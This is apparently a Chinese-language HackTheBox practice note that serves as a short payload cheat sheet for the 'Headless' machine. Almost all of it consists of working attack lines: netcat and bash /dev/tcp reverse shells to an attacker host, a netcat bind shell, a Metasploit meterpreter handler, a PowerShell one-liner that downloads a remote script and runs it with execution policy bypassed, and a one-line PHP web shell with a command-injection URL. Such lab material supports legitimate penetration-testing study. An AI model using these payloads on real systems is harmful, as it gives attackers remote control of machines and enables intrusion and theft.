HTB練習紀錄 — Headless
[番外02]詳細說明了Payload的存在意義,本章來探討有哪些Payload的種類
Netcat:
nc <attacker_ip> <port> -e /bin/bash
Bash:
bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1
Netcat:
nc -lvp <port> -e /bin/bash
Metasploit:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <port>
exploit
Windows:
powershell -Command "Invoke-WebRequest -Uri http://<attacker_ip>/payload.ps1 -OutFile C:\Windows\Temp\payload.ps1; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Windows\Temp\payload.ps1'"
Web 應用漏洞:
使用 http://target.com/vuln.php?cmd=whoami 來執行命令。
php
<?php system($_GET['cmd']); ?>